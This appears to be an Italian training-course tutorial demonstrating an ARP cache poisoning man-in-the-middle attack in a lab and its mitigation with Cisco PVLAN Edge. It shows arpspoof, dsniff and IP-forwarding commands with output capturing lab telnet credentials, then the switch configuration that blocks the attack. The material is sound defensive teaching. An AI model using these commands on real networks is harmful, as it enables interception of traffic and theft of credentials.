Continuiamo con la nostra serie di articoli che, attraverso esempi pratici e semplificati, dimostrano l’applicazioni di strumenti fondamentali nei rispettivi ambiti. È il turno di trattare come Mitigare l’ARP cache poisoning con il Cisco PVLAN Edge. Quindi proseguiamo l’analisi iniziata in questo articolo Mitigare il CAM Table overflow sulle minacce che possono mettere in pericolo un’infrastruttura layer 2 e sulle tecnologie tramite cui mitigare queste minacce. In un attacco di ARP cache poisoning, l’aggressore seleziona una vittima all’interno della sua rete locale e la fa oggetto dell’invio di spoofed gratuitous ARP frame. Questi ARP frame istruiscono il sistema della vittima ad associare il MAC address dell’aggressore con l’indirizzo IP di un altro dispositivo presente nella stessa rete, per esempio il gateway. Analogamente il gateway viene istruito ad associare il MAC address dell’aggressore all’IP della vittima. In questo modo l’aggressore si pone quale Man In The Middle (MITM) per intercettare le comunicazioni fra la vittima ed il gateway.
Dimostriamo come è possibile eseguire questo attacco e come mitigarlo utilizzando la protezione offerta dal Cisco Private VLAN (PVLAN) Edge. La topologia su cui operiamo è la seguente:
Da Windows PC pinghiamo il default gateway e il Kali PC, quindi verifichiamo l’ARP cache del Windows PC con il comando arp –a osservando in particolare i MAC address associati al default gateway e al Kali PC:
C:\Users\student>ping 10.10.11.1
Pinging 10.10.11.1 with 32 bytes of data:
Reply from 10.10.11.1: bytes=32 time=916ms TTL=255
Reply from 10.10.11.1: bytes=32 time=2ms TTL=255
Reply from 10.10.11.1: bytes=32 time=1ms TTL=255
Reply from 10.10.11.1: bytes=32 time=2ms TTL=255
Ping statistics for 10.10.11.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1ms, Maximum = 916ms, Average = 230ms
C:\Users\student>ping 10.10.11.10
Pinging 10.10.11.10 with 32 bytes of data:
Reply from 10.10.11.10: bytes=32 time=564ms TTL=64
Reply from 10.10.11.10: bytes=32 time<1ms TTL=64
Reply from 10.10.11.10: bytes=32 time<1ms TTL=64
Reply from 10.10.11.10: bytes=32 time<1ms TTL=64 Ping statistics for 10.10.11.10: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 564ms, Average = 141ms C:\Users\student>arp -a
Interface: 10.10.11.11 — 0xf
Internet Address Physical Address Type
10.10.11.1 ac-f2-c5-0d-dd-42 dynamic
10.10.11.10 00-00-0a-0a-0b-0a dynamic
10.10.11.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
239.255.255.250 01-00-5e-7f-ff-fa static
Dal Kali PC utilizziamo l’arpspoof avendo come target il Windows PC e il default gateway:
root@kali-pc:~#arpspoof -t 10.10.11.11 10.10.11.1
0:0:a:a:b:a 0:0:a:a:b:b 0806 42: arp reply 10.10.11.1 is-at 0:0:a:a:b:a
0:0:a:a:b:a 0:0:a:a:b:b 0806 42: arp reply 10.10.11.1 is-at 0:0:a:a:b:a
0:0:a:a:b:a 0:0:a:a:b:b 0806 42: arp reply 10.10.11.1 is-at 0:0:a:a:b:a
<…Continuing messages omitted…>
Sempre dal Kali PC apriamo un altro terminale ed utilizziamo il dsniff per ascoltare le comunicazioni fra i due dispositivi vittima:
root@kali-pc:~#dsniff -c
dsniff: listening on eth0
Infine, da un terzo terminale del Kali PC abilitiamo l’IP forwarding:
root@kali-pc:~#sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
Tornando al Windows PC, osserviamo come il MAC address del default gateway risulti adesso dientico a quello del Kali PC a causa dell’avvelenamento dell’ARP cache:
C:\Users\student>arp -a
Interface: 10.10.11.11 — 0xf
Internet Address Physical Address Type
10.10.11.1 00-00-0a-0a-0b-0a dynamic
10.10.11.10 00-00-0a-0a-0b-0a dynamic
10.10.11.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
239.255.255.250 01-00-5e-7f-ff-fa static
Per comprendere le conseguenze di tale attacco, eseguiamo una sessione telnet tramite Putty verso il router Rtr-2 utilizzando le credenziali admin/Cisco123!:
This is the message of the day banner
This is the login banner
User Access Verification
Username: admin
Password: Cisco123!
This is the exec banner
Rtr-2>
Nel terminale del Kali PC con il dsniff in esecuzione possiamo osservare le credenziali catturate. Dopodiché chiudiamo sia il terminale del dsniff che quello dell’arpspoof tramite Ctrl-C.:
root@kali-pc:~#dsniff -c
dsniff: listening on eth0
—————–
11/17/14 21:51:55 tcp 10.10.11.11 -> 10.10.2.1.23 (telnet)
admin
Cisco123!
CORSI CORRELATI:
- Corso Cyber Security;
- Corso CCNP Security SCOR;
- Corsi CCNP Security;
- Corso Penetration test;
- Corso Cisco CCNA;
- Corso Fortinet NSE4;
- Corso Fortinet NSE5;
- Corso Check Point CCSA;
- Corso Check Point CCSE;
Consulta il nostro Catalogo Corsi per Tecnologia oppure fai una Ricerca per Vendor o ancora trova uno specifico corso attraverso il motore di ricerca interno: Ricerca Corsi. Contattaci ora al Numero Verde 800-177596, il nostro team saprà supportarti nella scelta del percorso formativo più adatto alla tue esigenze.
La tecnologia del Cisco PVLAN Edge permette di isolare le switchport di un singolo switch in un ambiente di VLAN dove i dispositivi condividono lo spazio di indirizzamento e possono comunicare con il default gateway ma non tra di loro. Questo isolamento permette ad esempio di mitigare l’ARP cache poisoning. Se fosse necessario estendere l’isolamento ad un’infrastruttura di più switch si dovrebbe ricorrere alla più ampia tecnologia delle Private VLAN.
Sulla console dello switch lab-sw abilitiamo il PVLAN Edge sulle switchport Gi0/1 e Gi0/2:
lab-sw(config-if)#interface range g0/1 – 2
lab-sw(config-if-range)#switchport protected
Lo stato delle switchport può essere evidenziato osservando direttamente la switchport:
lab-sw(config-if-range)#do show int g0/1 switchport
Name: Gi0/1
Switchport: Enabled
Administrative Mode: static access
Operational Mode: static access
Administrative Trunking Encapsulation: negotiate
Operational Trunking Encapsulation: native
Negotiation of Trunking: Off
Access Mode VLAN: 11 (VLAN0011)
Trunking Native Mode VLAN: 1 (default)
Administrative Native VLAN tagging: enabled
Voice VLAN: none
Administrative private-vlan host-association: none
Administrative private-vlan mapping: none
Administrative private-vlan trunk native VLAN: none
Administrative private-vlan trunk encapsulation: dot1q
Administrative private-vlan trunk normal VLANs: none
Administrative private-vlan trunk associations: none
Administrative private-vlan trunk mappings: none
Operational private-vlan: none
Trunking VLANs Enabled: ALL
Pruning VLANs Enabled: 2-1001
Capture Mode Disabled
Capture VLANs Allowed: ALL
Protected: true
Appliance trust: none
A questo punto possiamo ripetere l’arpspoof dal Kali PC:
root@kali-pc:~#arpspoof -t 10.10.11.11 10.10.11.1
0:0:a:a:b:a 0:0:a:a:b:b 0806 42: arp reply 10.10.11.1 is-at 0:0:a:a:b:a
0:0:a:a:b:a 0:0:a:a:b:b 0806 42: arp reply 10.10.11.1 is-at 0:0:a:a:b:a
0:0:a:a:b:a 0:0:a:a:b:b 0806 42: arp reply 10.10.11.1 is-at 0:0:a:a:b:a
<…Continuing messages omitted…>
L’ARP cache del Windows PC dimostra che l’avvelenamento non viene eseguito:
C:\Users\student>arp -a
Interface: 10.10.11.11 — 0xf
Internet Address Physical Address Type
10.10.11.1 ac-f2-c5-0d-dd-42 dynamic
10.10.11.10 00-00-0a-0a-0b-0a dynamic
10.10.11.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
239.255.255.250 01-00-5e-7f-ff-fa static
In effetti il Windows PC è libero di comunicare con il default gateway ma non con il Kali PC:
C:\Users\student>ping 10.10.11.1
Pinging 10.10.11.1 with 32 bytes of data:
Reply from 10.10.11.1: bytes=32 time=3ms TTL=255
Reply from 10.10.11.1: bytes=32 time=1ms TTL=255
Reply from 10.10.11.1: bytes=32 time=2ms TTL=255
Reply from 10.10.11.1: bytes=32 time=2ms TTL=255
Ping statistics for 10.10.11.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1ms, Maximum = 3ms, Average = 2ms
C:\Users\student>ping 10.10.11.10
Pinging 10.10.11.10 with 32 bytes of data:
Reply from 10.10.11.11: Destination host unreachable.
Reply from 10.10.11.11: Destination host unreachable.
Reply from 10.10.11.11: Destination host unreachable.
Reply from 10.10.11.11: Destination host unreachable.
Ping statistics for 10.10.11.10:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),